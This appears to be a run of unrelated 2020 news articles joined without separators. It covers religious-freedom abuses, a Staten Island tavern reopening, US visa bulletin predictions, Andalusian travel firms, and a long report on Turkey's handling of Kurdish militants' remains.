least 313 Jehovahs Witnesses were charged, put on trial or convicted for involvement in the religious group by the end of 2019. USCIRF notes that there were at least 489 raids conducted against the homes of Jehovahs Witnesses in Russia. Last year also saw an increase in political activism among people wanting reforms in the East African country of Eritrea. However, the government responded harshly to both registered religious groups and unrecognized organizations. According to USCIRF, religious actors in Eritrea were accused of political interference just for defending their beliefs or speaking out for human rights. Christians were arbitrarily arrested and detained, including in waves of arrests in May of more than 171 adults and children gathering for worship around Asmara, the report stresses. In August, another 80 were reportedly arrested for practicing their faith. In Tajikistan, government officials burned over 5,000 Baptist calendars after they were seized at Dushanbe International Airport and deemed to be propaganda of an alien religion. USCIRFs report also touched briefly on the Trump administrations refugee policies as the president set a refugee resettlement cap of 18,000 refugees for the fiscal year 2020. The figure is the lowest annual cap set since the establishment of the U.S. refugee resettlement program. And it calls for the U.S. to return the annual ceiling for the United States Refugee Admissions Program to the previously typical 95,000 refugees per fiscal year. However, USCIRF praised the Trump administration for designating $25 million for restoring and rebuilding religious sites and houses of worship across the world, a key recommendation in USCIRF's 2019 report. USCIRF also praised the administration for appointing an adviser on international religious freedom to the National Security Council, the fulfillment of another USCIRF recommendation. STATEN ISLAND, N.Y. -- Lees Tavern in Dongan Hills will reopen today. The corner restaurant, famed for its pizza and one of Staten Islands oldest establishments, shut on March 16 as a result of the coronavirus crisis. Going forward through the pandemic, hours will be 11:30 a.m. to 8 p.m. daily. Diego Palemine, co-owner of the restaurant, said he decided to start back up today for a few reasons. "People were calling and asking. We want to get back to normal. We stayed out for a month and a half and thats all we can stay out for, said Palemine. Well see what happens with the to-go [format], see if everyone likes it," he said, adding the menu will be posted on the restaurants website, LeesTavernNYC.com. Bottled beers like Bud, Bud Light, Coors, Miller High Life, Michelob Ultra and, soon others like Flagship, will be sold with food orders. Service to customers will happen through a side window while dining rooms around New York City are off-limits to the public. The journey in business through the pandemic thus far has been devastating for the 80-year old tavern, said Palemine. The weekend before St. Patricks Day we were off by 30 percent, he said. While the restaurant was closed the walk-in box broke down and a small repair with the floor turned into a big project. All of these circumstances, said Palemine, caused a hemorrhaging of money. Hes happy to be back and said, I miss the people. People that you know for 30 years. People that you see on a daily basis. The couple that comes in on a Saturday night for date night. People talking the sports, the world... While at home for two weeks he also started missing pizza. Palemine said, I had to make English muffin pizzas. I got desperate. I used to eat it all the time as a kid. My children never had it before. And they thought it was good! He expects a really tough business landscape ahead but giving it a shot. You make up a plan and you see what reality is. And you find out you need to have things tweaked...and God laughs, said Palemine. Established in 1940, Lees takes its name from the original owner, Leroy Moresco, who was referred to as Mr. Lee. The Palemine family took the tavern over in 1969. Lees keeps no presence on social media and doesnt have a sign on its facade. Still, it has maintained a steady clientele that stretches back four to five generations-worth of Staten Islanders. The restaurant has earned numerous awards for its pizza, national attention from bloggers and a good rating in a Barstool Pizza Review. It was used as a set for The Irishman, a Netflix production by director Martin Scorsese. The tavern was re-purposed for the shoot and briefly called Nemos Bar & Grill. Lees is located at 60 Hancock St., Dongan Hills. AWE will profile the other Best Pizza winners in coming weeks. Courtesy of NetflixNext month, fans will get an "intimate look into the life" of former first lady Michelle Obama in the new Netflix documentary Becoming, which is based on her bestselling memoir of the same name. The streamer announced on Monday that the new doc, which will chronicle Mrs. Obama's 34-city Becoming book tour in 2018-2019, will officially launch on May 6. Mrs. Obama shared the news on social media with a personal message. "Im excited to share that on May 6, @Netflix will release BECOMING, a documentary directed by Nadia Hallgren that shares the stories of the amazing people I met after the release of my memoir," she wrote. "During this difficult time, I hope youll find some inspiration and joy in this film." She later went on to share her personal struggles during the COVID-19 pandemic. "As many of you know, Im a hugger," she wrote on Instagram. "My whole life, Ive seen it as the most natural and equalizing gesture one human can make toward another the easiest way of saying, 'Im here for you.' And this is one of the toughest parts of our new reality: Things that once felt simple going to see a friend, sitting with someone who is hurting, embracing someone new are now not simple at all." As previously reported, the book version of Becoming sheds light on Mrs. Obama's childhood, her life with former President Barack Obama, their time in the White House and more. It was an immediate success, selling two million copies in just 15 days, according to the books publisher. The former first lady also recently received a Grammy win in the Best Spoken Word category for the audio version of Becoming. Copyright 2020, ABC Audio. All rights reserved. : dykilybj (Dykily), : Immigration : Check in with Charlie Oppenheim 4/28/2020 : BBS (Tue Apr 28 13:47:38 2020, ) https://www.shusterman.com/visa-bulletin-predictions/ EB-1: Visa Bulletin Predictions The big news in the employment-based preference categories is that EB-1 Worldwide (including El Salvador, Guatemala and Honduras, Mexico, Philippines, and Vietnam) returns to current in May 2020. It had been previously predicted that such action was likely to occur at some point in the coming months. As noted in last months column, any otherwise unused numbers will first be allocated to those applicants with the earliest priority dates, which will predominately impact EB-1 India. In May, the final action date for EB-1 China will advance 5 weeks from June 8, 2017 to July 15, 2017 and EB-1 India will advance 3 months from May 1, 2015 to August 1, 2015. Does the April 22, 2020 Presidential Proclamation Impact How the Visa Bulletin is Prepared? Charlie expects the June 2020 Visa Bulletin to be issued as it normally would, notwithstanding the April 22, 2020 Presidential Proclamation which suspends certain IV processing for at least 60 days. days. This Months Check-in with Charlie Column Does Not Contain Additional Projection Information Like most of us, Charlie is working remotely and only travels to his office when necessary to perform certain functions of his job. As Charlies predictions are based upon data from certain government databases which cannot be accessed remotely, during this months conversation with AILA he was unable to pull statistics on visa number usage in real time. As a result , we are unable to provide more nuanced projections in this months column. One of the programs that State makes available for USCIS use, is a 24/7 automated system that every USCIS officer uses at the end of the adjustment interview to request an immigrant visa number authorization. After entering the required information, the officer presses a button and receives a message indicating that either the visa is authorized by Charles Oppenheim , or it will inform the officer that the visa is not granted as the priority date is not within the applicable final action date at that time. In the latter case, the request for a visa number enters Charlies pending demand file, providing him visibility into pending demand which can be authorized for use when the final action date advances beyond the applicants priority date. This system was conceived by Charlie in 2000, was piloted in 2001 and went live in early fiscal year 2002. Prior to this automated system, the State Department relied on (then) INS telephone and later fax requests requiring the manual authorization of immigrant visa number use for adjustment cases. Prior to the transition to the automated system Charlie and his team was receiving ~425 faxes per day on three fax machines. Given time zone differences, the manual process was not only inefficient, it created impossible situations for approving cases for late afternoon West Coast interviews. Does COVID-19 Impact How the Visa Bulletin is Prepared? This month the Visa Bulletin was issued much later than normal due to other pressing issues. . Notwithstanding these delays and the unprecedented impact on immigrant visa processing caused by the COVID-19 pandemic, Charlie has reassured AILA that he and his staff continue to follow the same methodology in analyzing supply, demand and number usage in determining the information for the Final Action Date and Dates for Filing charts. Given the fluidity of the situation, Charlie strongly advises practitioners to monitor travel.state.gov for official announcements regarding overseas IV processing, and the equivalent sections of uscis.gov regarding the processing of adjustment of status applications. Charlie noted that the worldwide suspension of immigrant visa processing is a unique situation which they have not experienced before. The most analogous situation occurred after September 11, 2001, but the impact only lasted for a short period of time in contrast to the longer duration expected as a result of COVID-19. As a result, while there is leveraging of some lessons learned from the post-9/11 period, right now decisions are being made continually. Practitioners should anticipate that posts may reopen at different speeds and with varying degrees of consular services availability, depending on their respective situation. In May 2020, final action dates in the family-based preference categories continued to advance in a manner consistent with the advancements in March and April 2020. That movement continues to be partly attributable to previous low applicant response/number use rates, partly to encourage applicants to continue to submit required documentation to the National Visa Center (NVC), and partly motivated by a desire to create the best possible situation to maximize immigrant visa number usage under this fiscal years annual limits. The degree of impact that otherwise unused numbers will have on opening up visa usage in other categories will depend on how long consulates and USCIS offices remain closed. Visa Bulletin Predictions C Family-Based Preference Categories For now, Charlie anticipates that the family-based preference categories may continue to advance consistent with the most recent projections. In May, F2A, which became current back in July 2019, remains current. Beyond that, all other categories advanced between 7 weeks and 6 months. The Philippines family-based preference categories advanced most rapidly with F2B Philippines advancing four months from February 1, 2010 to June 1, 2010, and F1 Philippines, F3 Philippines and F4 Philippines all advancing six months to September 1, 2010, November 15, 2000 and October 1, 2000 respectively. F1 Worldwide (including F1 China and F1 India) advanced 7 weeks from January 1, 2014 to March 22, 2014. F1 Mexico advanced 1 month from September 22, 1997 to October 22, 1997. F2B Worldwide (including F2B China and F2B India) advances 2.5 months in May from November 1, 2014 to January 15, 2015. In May F2B Mexico advances 1.5 months from December 1, 1998 to January 15, 1999. F3 Worldwide (including F3 China and F3 India) advance 1.5 months in May from February 1, 2008 to March 15, 2008 and F3 Mexico advances one month from May 8, 1996 to June 8, 1996. F4 Worldwide (including F4 China) advances 3 weeks in May from July 1, 2006 to July 22, 2006. In May, F4 India advances 2 weeks from December 22, 2004 to January 8, 2005 and F4 Mexico advances one month from March 15, 1998 to April 15, 1998. Visa Bulletin Predictions C Employment-Based Preference Categories EB-1: Visa Bulletin Predictions The big news in the employment-based preference categories is that EB-1 Worldwide (including El Salvador, Guatemala and Honduras, Mexico, Philippines, and Vietnam) returns to current in May 2020. It had been previously predicted that such action was likely to occur at some point in the coming months. As noted in last months column, any otherwise unused numbers will first be allocated to those applicants with the earliest priority dates, which will predominately impact EB-1 India. In May, the final action date for EB-1 China will advance 5 weeks from June 8, 2017 to July 15, 2017 and EB-1 India will advance 3 months from May 1, 2015 to August 1, 2015. EB-2: Visa Bulletin Predictions EB-2 Worldwide (including El Salvador, Guatemala and Honduras, Mexico, Philippines, and Vietnam) remains current in May. EB-2 China advances one month from September 1, 2015 to October 1, 2015, and EB-2 India advances 8 days from May 25, 2009 to June 2, 2009. EB-3 and EB-3 (EW) Other Workers: Visa Bulletin Predictions EB-3 Worldwide (including El Salvador, Guatemala and Honduras, Mexico, Philippines, and Vietnam) and EB-3 Worldwide Other Workers (including El Salvador, Guatemala and Honduras, Mexico, Philippines, and Vietnam) hold at January 1, 2017 in May 2020. EB-3 China advances 1 month from April 15, 2016 to May 15, 2016, and EB-3 China Other Workers advances two weeks from July 1, 2008 to July 15, 2008. In May, the spread between EB-2 China and EB-3 China continues to widen, with EB-3 Chinas final action date now 7.5 months ahead of EB-2 China. EB-3 India and EB-3 India Other Workers both advance 5 weeks from January 22, 2009 to March 1, 2009 in May. EB-4: Visa Bulletin Predictions EB-4 Worldwide (including China, India, Philippines, and Vietnam) remain current in May. EB-4 El Salvador, Guatemala, and Honduras advances one month from July 15, 2016 to August 15, 2016 in May. This advancement is due to less demand than expected materializing through the first week in April 2020 . As predicted, EB-4 Mexico advances more quickly in May, moving 13 weeks from January 22, 2018 to May 1, 2018. EB-5: Visa Bulletin Predictions EB-5 Worldwide (including El Salvador, Guatemala and Honduras, Mexico, and Philippines), Regional and Non-Regional Centers, remains current in May. EB- 5 China (Regional and Non-Regional Centers) advances 2 months from May 15, 2015 to July 15, 2015 in May. EB-5 India (Regional and Non-Regional Centers) advances 9 months from January 1, 2019 to October 1, 2019. EB-5 Vietnam ( Regional and Non-Regional Centers) advances 7 weeks from February 8, 2017 to April 1, 2017. Visa Bulletin Predictions C Q & A QUESTION: I have many nurses on OPT who are licensed in their state of practice right now. Their OPT status will expire in July or August and they have approved I-140. Is there any provision for allowing these health care workers to file for adjustment of status so that they can be on the front lines where we need them? Are you aware of any proposed legislation? Any insight of this would be appreciated more than you would ever know. ANSWER: Final action (e.g., visa issuance, adjustment of status) is dependent upon the applicants priority date being within the applicable final action date for the month in which such action would occur. I am unaware of any legislative proposals to change that process at this time. As mentioned earlier the best advice I can give is to closely monitor the travel.state.gov and equivalent USCIS web sites for the latest processing guidance. -- :WWW mitbbs.com [FROM: 2601:2c6:5000:6] Source: Xinhua| 2020-04-28 14:48:57|Editor: huaxia Video Player Close DALIAN, April 28 (Xinhua) -- A new fruit shipping route linking the Dalian Port in northeast China's Liaoning Province and Vietnam opened on Monday. The shipping route, mainly used for refrigerated shipment of fruit, was launched by Liaoning Port Group. A ship loaded with 565 tonnes of pitaya from Vietnam arrived at the Dalian Port on Monday. After being unloaded, they were sent to supermarkets and shops in Dalian within 24 hours. It takes only seven days to transport fruit from Ho Chi Minh City of Vietnam to Dalian Port via this new shipping route, saving three to five days compared with other shipping routes linking the port with Southeast Asia. Enditem President Donald Trump is projecting that coronavirus deaths in the United States could reach 70,000, but says original projections were much higher as he explained why voters should consider re-electing him in November. Trump has at times this month cited 60,000 as the estimate of how many people would die from COVID-19. Trump was asked during a White House conference on Monday whether an American president deserved to be re-elected after losing more Americans in six weeks than died in the Vietnam War. Approximately 58,000 U.S. troops were killed during the Vietnam War. The number of dead in the U.S. from COVID-19 surpassed 55,000, according to a tally by Johns Hopkins University. Trump said the nation has lost a lot of people. But if you look at what original projections were 2.2 million we're probably heading to 60,000-70,000. It's far too many. One person is too many for this. And I think we've made a lot of really good decisions. The big decision was closing the border or doing the ban, people coming in from China." Trump added: I think we've done a great job. I will say this, one person is too many. Trump is relying on a pandemic forecast that predicted 1.5 million to 2.2 million deaths in the United States in a worst-case scenario, without efforts to slow the spread of the coronavirus through social distancing. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Thirty-five personnel of Kasa police station in Palghar district in Maharashtra were on Tuesday transferred in connection with the mob lynching of two sadhus and their car driver on April 16, an incident that made headlines nationwide. The three victims, from Kandivali in Mumbai, were on their way to attend a funeral in Surat in Gujarat amid the lockdown when they were attacked and killed by a mob in Gadchinchile village in the presence of a police. "A total of 35 people have been transferred from Kasa police station, in whose limits the lynching incident took place. The assistant inspector and sub inspector who were on duty that night were placed under suspension earlier. Over 100 people have been arrested so far for the lynching," said an official on Tuesday. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Your guide to boutique Andalusian accommodation and travel planners. Flamenco Campers This family firm, which offers a modern fleet of motorhomes and campervans ideal for couples and families, is run by founder Gonzalo Ros. Flamenco Campers inspires a fun way to explore southern Spain for the independent traveller. Website. flamencocampers.com Instagram. @flamencocampers Facebook. @flamencocampers Ivan Ricoy. Genuine Andalusia. / SUR Genuine Andalusia Ivan Ricoy is director and founder of Genuine Andalusia, a company that offers private tours and experiences aimed at connecting travellers with the Andalusian culture and lifestyle, food and wine, and outdoors and nature - defined by comfort, beauty and authenticity. Website. www.genuineandalusia.com Instagram. @genuine_andalusia Facebook. @genuineandalusia The Luxury Villa Collection The Luxury Villa Collection, a hand-picked portfolio of private luxury villas to rent in beautiful locations around Andalucia, is the creation of Lindsay Gregory. She selects unique properties with private pools and creates special holidays with concierge services and housekeeping included during each stay. Website. theluxuryvillacollection.com Instagram. @theluxuryvillaco Facebook. @TheLuxuryVillaCollection Toma & Coe Manni Coe is without doubt an expert on southern Spain. His holiday firm has grown significantly over the years, providing tours and unique experiences for the discerning traveller. His team are specialists in rural Andalucia with a focus on food and wine. Website. www.tomaandcoe.com Instagram. @tomaandcoe Facebook. @TOMAandCOE Hola Seville Nicky Morris Goodman has created Hola Seville, an intimate collection of historic, characterful city properties that she has restored and offered for rental. In her own words, these lovingly restored, beautiful spaces are your home-from-home in Seville. in context FeaturePreparing for a new era of travel and tourism Nickys homes are also available through the #MyTravelPledge campaign, for nominated healthcare workers to enjoy. Website. www.holaseville.com Instagram. @holaseville Facebook. @holaseville My Local Concierge Fay Wallis is the energy behind this luxury lifestyle and property management company, based in Puerto Banus. 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Ian and Andrew are also the creators of #MyTravelPledge, a campaign offering free short-stays to nominated healthcare workers once the coronavirus crisis subsides. Website. www.casa-higueras.com Instagram. @casahiguerasmoclin Facebook. @CasaHiguerasMoclin Tailormade Andalucia Samuel Lister is the founder and director of Tailormade Andalucia which promises to combine indepth local knowledge with a travellers eye, enabling them to hand craft authentic and private holiday experiences. From their base in Seville, Tailormade Andalucia endeavours to take guests off the beaten track and show the real Spain. Website. tailormadeAndalucia.com Instagram. @tailormade_Andalucia Facebook. @tailormadeAndalucia Eduardo Blanco Private Travel & Concierge Eduardo is one of the regions most accomplished travel experts. He arranges high-end private experiences and travel concierge services in Spain for individuals, couples, small groups as well as for families. Andalucia is one of Eduardos key regions since it is offers so much for the traveller. Website. differentspain.com Instagram. @eduspain We Love Malaga Victor Garrido is one of Malagas greatest ambassadors. A world traveller, he always comes back to his roots, the city of Malaga where he offers private walking tours, food and tapas tours and guided day trips in Malaga and to other cities in Andalucia. Website. welovemalaga.com Instagram. @welovemalaga Facebook. @welovemalaga Almadraba. Nature Tarifa. / SUR Nature Tarifa Founder Ignacio Soto offers unique travel tours in the Strait of Gibraltar Natural Park, an area of unique importance for migratory animals. Ignacio also provides unprecedented access to the living history of Cadiz, though guided visits to the traditional fishing method of red tuna, known as the Almadraba. This dates back to the Phoenicians, and the beginning of civilisation on the west coast of Andalucia. Visitors can soon explore Almadraba en Tierra a new multisensory interpretation centre that brings all elements of the story together from the history through to contemporary tuna cuisine. Website. naturetarifa.com Instagram. @naturetarifa Facebook. @naturetarifa Annie Bs Kitchen Annie offers a charming way to mix food, wine and culture in the beautiful village of Vejer de la Frontera where even non cooks are promised to have a lot of fun preparing and enjoying delicious lunches of local produce in beautiful surroundings. Website. anniebspain.com Instagram. @anniebspain Facebook. @anniebspain For three hard years, Halise Aksoy searched for the remains of her son after learning that the young Kurdish rebel had fallen in battle against Turkish security forces on May 23, 2017. Her quest for Agit, which means brave in Kurdish, ended on April 10 at the central courthouse in Diyarbakir, the informal capital of the mainly Kurdish southeast. Aunty, look! Your sons bones are there, said a court official, breezily motioning toward a plastic bag with a yellow tag attached. The bag was on a table and contained a rectangular box. They offered me a glass of water, recalled Aksoy in a telephone interview from her native village of Elmabahce in neighboring Mardin province. I said, I dont want your water, keep it to yourselves, and took my son and left. Images of a dazed Aksoy sitting in her living room with the bag on her lap surfaced on social media soon after, triggering uproar. My mother was in a state of shock, said Mizgin, the sixth of Aksoys four daughters and three surviving sons. Now she is angry. Very angry. Aksoy's case is not unique. It fits a broader pattern of the state dehumanizing Kurdish rebels even in death and denying families the opportunity to accord them a proper burial and grieve in peace. Aunty, look! Your sons bones are there, said a court official, breezily motioning toward a plastic bag with a yellow tag attached. Initial media reports suggested that Agits remains had been couriered to his mothers home by the state postal service cash on delivery. The claims were swiftly rebuffed by the chief prosecutors office in Tunceli, the southeastern province where Agit had died in a clash with Turkish security forces. The office said in a statement that it had confirmed his identity on Aug. 28, 2019, based on a blood sample provided by Aksoy. It went on to assert that authorities in Tunceli had contacted Aksoy but that she had declined to fetch the body tissue because she lived in Diyarbakir. Critically, however, the statement did not say when it had contacted Aksoy. The Tunceli prosecutors office is openly suggesting that Halise Aksoy doesnt care about her son, that she didnt bother, Abdullah Zeytun, the head of the Turkish Human Rights Association in Diyarbakir, told Al-Monitor in an interview. Aksoy disputes the official version of events. She insists that the Tunceli prosecutors office contacted her by telephone in February while she was visiting her children in Istanbul. She said the official told her they had a document for her and asked if she would collect it. When Aksoy asked whether they were referring to the remains of her son, the official on the line refused to disclose any information. He insisted it was secret. I implored him for an answer but he wouldnt give me one, she said. Aksoy had had her hopes dashed once already last year, when a captured Kurdistan Workers Party (PKK) militant said he knew where Agit was buried and led officials to what he claimed were his remains. But a letter dated Aug. 1, 2019, addressed to Aksoy and seen by Al-Monitor, stated her DNA sample did not match that of the bones that were retrieved. Aksoy ekes out a living selling embroidery and crotchet she does at home. Her husband deserted her and the children 20 years ago. Agit was her favorite child. He promised to look after her, Mizgin said. Agit Aksoy's face is pictured in the Aksoy home, Elmabahce, Mardin, Turkey, April 11, 2020. Photo via Mesopotamia News Agency. The 53-year-old had made multiple trips to the city of Malatya, where the bodies of militants who die in the region are gathered for identification at a government-run forensic medicine institute. She would scour the morgue for Agit but return empty handed each time. Her hopes of ever finding him began to fade. Her spirits battered, Aksoy told the prosecutors office that she would fetch the document from Diyarbakir as soon as she returned from Istanbul. Had I known it was my Agit I would have been on the first plane to Tunceli, Aksoy said. By the time Aksoy made it to Diyarbakir, the remains had traveled back and forth multiple times between Istanbul, Tunceli and Diyarbakir like a ping pong ball, Mizgin said. Kurdish lawmakers in the Turkish Parliament bombarded Justice Minister Abdulhamit Gul with demands for an explanation and redress. Anyone with a shred of decency or the slightest hint of humanity would feel shame before this photograph of Aksoy with the box on her lap, thundered Hisyar Ozsoy, of the Kurd-friendly opposition People's Democracy Party (HDP), in a letter addressed to Gul. What is the reason Agits body was not handed over in 2017, despite his familys concerted efforts to recover it, and held for three years? Ozsoy asked. For Ozsoy, the issue is deeply personal. He is a direct descendant of Sheikh Said, who led what is often described as the first Kurdish rebellion in the early days of the republic. The uprising was quelled and Said was hanged in Diyabakirs Dagkapi Square in June 1925. The whereabouts of his body remain a mystery. The lawmaker filed a motion in 2017 demanding his great great grandfathers remains be found and accorded a proper burial. No action has been taken so far. Ozsoy is also still awaiting a formal response from Gul to his questions about why Agits remains were treated with such utter disrespect. But the answer is clear, Ozsoy told Al-Monitor in a telephone interview from Ankara. Such actions are in keeping with modern Turkeys nation-building project which was erected on the violent and systematic suppression of Kurdish identity, he contended. The Turkish state dictates who among the dead deserve humane treatment, who can be properly grieved and who cannot. Agit was deemed to be among those who do not. Yet under international humanitarian law its the states duty to treat all its citizens equally in life as in death, Ozsoy said. The state has committed a crime. The Human Rights Associations Zeytun, who is representing Aksoy, agrees that the states handling of Agits bones constitutes a crime. Zeytun told Al-Monitor that he had filed criminal charges with the Diyarbakir prosecutor against those responsible. They include subjecting Aksoy to mental torture and the gross violation of Agits right to proper and dignified interment. Zeytun concedes, however, that the charges will probably be dismissed. The Turkish state dictates who among the dead deserve humane treatment, who can be properly grieved and who cannot. HDP politician Hisyar Ozsoy The official view is that the outlawed PKK is a terrorist group. The militants are similarly designated by the European Union and the United States. Their corpses have become a lever through which the Turkish state asserts its power and stigmatizes the rebels and their families. Allowing a normal funeral for Agit, who joined the PKK in 2010, was out of the question, Zeytun said. When I arrived in the village with, you know, the package, it was besieged by police, recounted Aksoy, her voice faltering. We were told that no more than three of us could be present at the burial. They wouldnt even allow us to call an imam to perform the funereal prayers." I couldnt bring myself to open the box and look at what was left of my son. It was a small box. We wrapped it in a shroud and buried it in a hurry. Aksoy might count herself fortunate to have recovered her son at all. Butchers Creek The rebels launched their fight in 1984 for an independent Kurdish state carved out of Turkey, Iran, Iraq and Syria. They now say they will settle for autonomy inside Turkey. At its peak in the mid-90s, the insurgency raged across the mountainous Kurdish heartlands in Turkeys southeast. Thousands of villages were razed and emptied by Turkish security forces. Between 900,000 to 1.2 million people were forced to flee, marking the biggest human displacement in Anatolia since the Armenian Genocide of 1915 and the Greek and Turkish population transfer of 1923. A map of southeast Turkey. Mapbox, OpenStreetMap Abuses were committed on both sides, but disproportionately by Turkish security forces. Reports of desecrations of PKK corpses and mass graves began to seep out despite the militarys aggressive censorship of the Turkish press. We were later told that the ears were booty for soldiers who took part in the operations. They would dry them, lacquer them and use them as keychains, necklaces and the like. Veteran Kurdish journalist Nezih Every so often, the military would organize press junkets to boast of its victories. Veteran Kurdish journalist Nezih, a pseudonym, has vivid memories of one such macabre tour. He told Al-Monitor in a telephone interview, It was late October or early November in 1996. A big operation in which a top PKK commander was killed had been carried out in Kulp," a PKK stronghold in Diyarbakir province. Some 30 PKK fighters were declared neutralized. We saw a dozen or so lined up on the ground. They were all male. They had without exception either one or both of their earlobes neatly sliced off. Some had bloody boot prints on their faces. We were allowed to take photographs. When we asked one of the officers why part of their ears had been removed, he said they had probably been chewed off by wild animals. We were later told that the ears were booty for soldiers who took part in the operations. They would dry them, lacquer them and use them as keychains, necklaces and the like. Nezih still has the photographs. Reports of Turkish soldiers mutilating PKK corpses, whether true or not, has fed into the anger and frustration that is one part of what leads Kurdish youth to join the PKK, said Aliza Marcus, author of Blood and Belief, one of the most authoritative accounts on the PKK to date, in emailed comments to Al-Monitor. In 1988, journalist Evin Cicek uncovered the story of Kasaplar Deresi or Butcher's Creek, a dried riverbed on the edge of Siirt in the southeast where dozens of PKK fighters bodies were dumped along with the towns garbage. Corpses flung into the garbage heap were dismembered by stray dogs and dragged by them into the city center. People would weep in silence. Women would beat their chests to grieve, she said. Journalist Gunay Aslan, who published the story in January 1989 after secretly inspecting the site, was bundled into a van, beaten and detained by Turkish special forces in Siirt. They said they would behead me if I ever came back, Aslan told Al-Monitor from Germany, where he eventually fled. In a 2011 interview with the now shuttered Turkish daily Taraf, Cicek revealed for the first time that a local bureaucrat had shared with her in 1989 the names of 80 people killed between 1984 and 1988 whose bodies had been cast into the refuse pile. Only six had been handed over to their families after Gunay exposed the scandal. Its no surprise that it took her so long. Journalists were routinely jailed or murdered for reporting on the governments abuses against the Kurds. Seven reporters from the pro-Kurdish Ozgur Gundem alone were killed by unknown assailants between July 1992 and July 1993. A Turkish Spring By 2011, however, the climate in Turkey had shifted dramatically. A right-wing conservative party led by Turkeys current President Recep Tayyip Erdogan had already been in power for nine years. The Justice and Development Party vowed to shut the generals out of politics and carry Turkey into the European Union. For a while, it seemed like Erdogan was sincere. A blizzard of ground-breaking reforms shamed the EU into to opening full membership talks with Ankara in 2005. Previously taboo subjects like the mass slaughter of Armenians, bans on the Islamic-style headscarf and LGBT rights began to be openly debated. Aslan collaborated with a group of filmmakers to produce a documentary on Butchers Creek. I was able to return to Turkey after 11 years and we were allowed to screen the film in Diyarbakir. It was quite extraordinary, Aslan said. In 2008, Erdogan authorized the national intelligence agency MIT to initiate direct talks with the PKK. The goal, or so it appeared, was to end to the decades-long conflict that had cost more than 35,000 lives, bleeding the country of billions of dollars and wrecking its global image. The first round, held secretly in Oslo, collapsed after being leaked, allegedly by saboteurs in the security establishment who opposed the talks. A second round, conducted with the imprisoned PKK leader Abdullah Ocalan launched in 2012, seemed distinctly more promising. In a letter read out before hundreds of thousands of Kurds gathered in Diyarbakir on March 21, 2013, to mark the Kurdish new year, Ocalan called on his fighters to withdraw from Turkey and to end the war. A door is opening to a process of democratic politics from a period of armed resistance, he declared. It is not the end of our struggle; it is the start of a new sort of struggle. Demonstrators hold Kurdish flags and flags with portraits of jailed Kurdistan Workers Party (PKK) leader Abdullah Ocalan during a gathering to celebrate Newroz in the southeastern Turkish city of Diyarbakir March 21, 2013. Photo by Reuters/Umit Bektas. Emboldened by the mutually observed cease-fire, Kurds across the southeast began hunting for the remains of loved ones who had died fighting in the ranks of the PKK. Some dug up the bones of Kurds killed by the thousands during a 1938 revolt in Tunceli, then known as Dersim. New cemeteries to house the remains began dotting far flung corners of the southeast. The authorities mostly looked the other way, intervening only occasionally when statues of prominent guerrillas or other symbols glorifying the PKK were erected. Kurdish anthropologist Derya Aydin has written extensively about the social impact of the cemeteries. Kurds from across the country began flocking to these memorials. It became a sort of pilgrimage. For the first time, Kurds were allowed to bury their dead with dignity and mourn them in peace, Aydin told Al-Monitor in a telephone interview. In many cases, the burials took place without DNA testing to establish who the bones belonged to. For many it was a largely symbolic affair, a form of collective closure, Aydin noted. She reckons at least 13 cemeteries were built one on the edge of a dense forest in her native Bitlis, where she conducted much of her research. Starting in 2014, fresh bodies began to arrive from neighboring Syria, where the Islamic State had declared war on the Kurds. In September that year, the jihadis laid siege to the town of Kobani, a bastion of Kurdish nationalism on the Turkish border. Hundreds of Turkish Kurds, some volunteers, others from the PKK, joined the fight against the jihadis. Many had been galvanized by Erdogans perceived schadenfreude when he declared, Kobani has fallen, it will fall. Deadly riots erupted in Diyarbakir as thousands took to the streets in protest. Aksoys youngest child, Shinda, decided she wasnt going to take it. She was only 16. She couldnt bear the injustice. I couldnt stop her. She took up and left. Aksoy last saw her daughter on Sterk TV, a pro-PKK channel that is formally banned in Turkey but captured by satellite dishes jutting from rooftops and balconies across the southeast. Shinda was being sworn in along with other fresh recruits and had been assigned the code name Nuda. Aksoy believes her daughter is still alive. The battle for Kobani was bloody and protracted and won by the Kurds. Veteran Kurdish politician Lezgin Bingol lost his daughter there in October 2014. Dilan had dropped out of high school in Istanbul and joined the PKK in 2009, a year before Agit. Both were 15 when they took up the fight. In 2012 we heard that Dilan had crossed over to Syria. She rang us 10 days before her death. She said she was in Kobani, Bingol told Al-Monitor. It was the first time the Bingols had heard from her since she had vanished without a word. Dilan had told her comrades that she wanted to be buried in the cemetery in Bitlis if she died. We fulfilled her last wishes. Bingol secured her death certificate and held her funeral unhindered. A small mosque had been erected next to the cemetery that was locally known as Garzan. Dilans body was cleansed according Islamic rites. An imam led the prayers. She was laid to rest under a gray marble headstone. The cemetery at Garzan is pictured when it was first built. Photo courtesy of Lezgin Bingol. Bingol and his family were frequent visitors at the cemetery near the village of Yukari Olek, lying 15 kilometers (nine miles) south of Bitlis. We found these moments deeply comforting. Our pain was eased, he reminisced. Their solace was short-lived. The peace process began to unravel. The PKK had spurned Turkeys demands that it join Syrian Sunni opposition rebels fighting to topple Syrian President Bashar al-Assad. Erdogan was losing support from Turkish nationalists. Their backing was critical for his plans to boost his presidential powers in a 2017 referendum. He feigned ignorance of a deal struck after months of shuttle diplomacy between MIT, Ocalan, HDP lawmakers and PKK commanders in Iraqi Kurdistan that was unveiled amid much exuberance at the Dolmabahce Palace in February 2015. By the summer of 2015, the cease-fire was in tatters and the PKK recklessly carried its battle to towns and cities in the southeast, plunging the region into a fresh cycle of violence and triggering a brutal state response. No rest for the dead Security forces began vandalizing the cemeteries, destroying headstones and mosques. At least one of the cemeteries, which the government said was being used as a PKK camp, was destroyed in an airstrike. Erdogan said the graveyards doubled as training grounds and arms caches for the PKK. We are destroying them, he bragged. Garzan was among those targeted. In June 2015, a criminal court in Bitlis slapped Bingol and his wife Netice with charges of irregular burial of their daughter, a case that is still pending. But the worst was yet to come. In July 2016, a group of officers accused of links to the Pennsylvania-based Sunni preacher Fethullah Gulen mounted a coup attempt against Erdogan. The government declared a state of emergency and used its powers to summarily purge and arrest tens of thousands of civil servants, police officers and politicians, many on a panoply of often flimsily evidenced terror charges. Bingol, who was working for the Bitlis municipality, was among them. He was freed in March 2017, pending trial on charges of membership of a terrorist organization. The first thing Bingol wanted to do was to visit his daughters grave. But it was unclear whether access to the area, like so many others, had been frozen under emergency rule. Nobody dared to ask. In December 2017, Bingol wrote to the local governor requesting clarification. The response he got was heart stopping. The remains in all 268 graves in Garzan had been unearthed that same month in keeping with a court order and transferred to the governments central forensic medicine institute in Istanbul, where Agits bones had been tested. A dumbstruck Bingol decided to see for himself. I could not believe 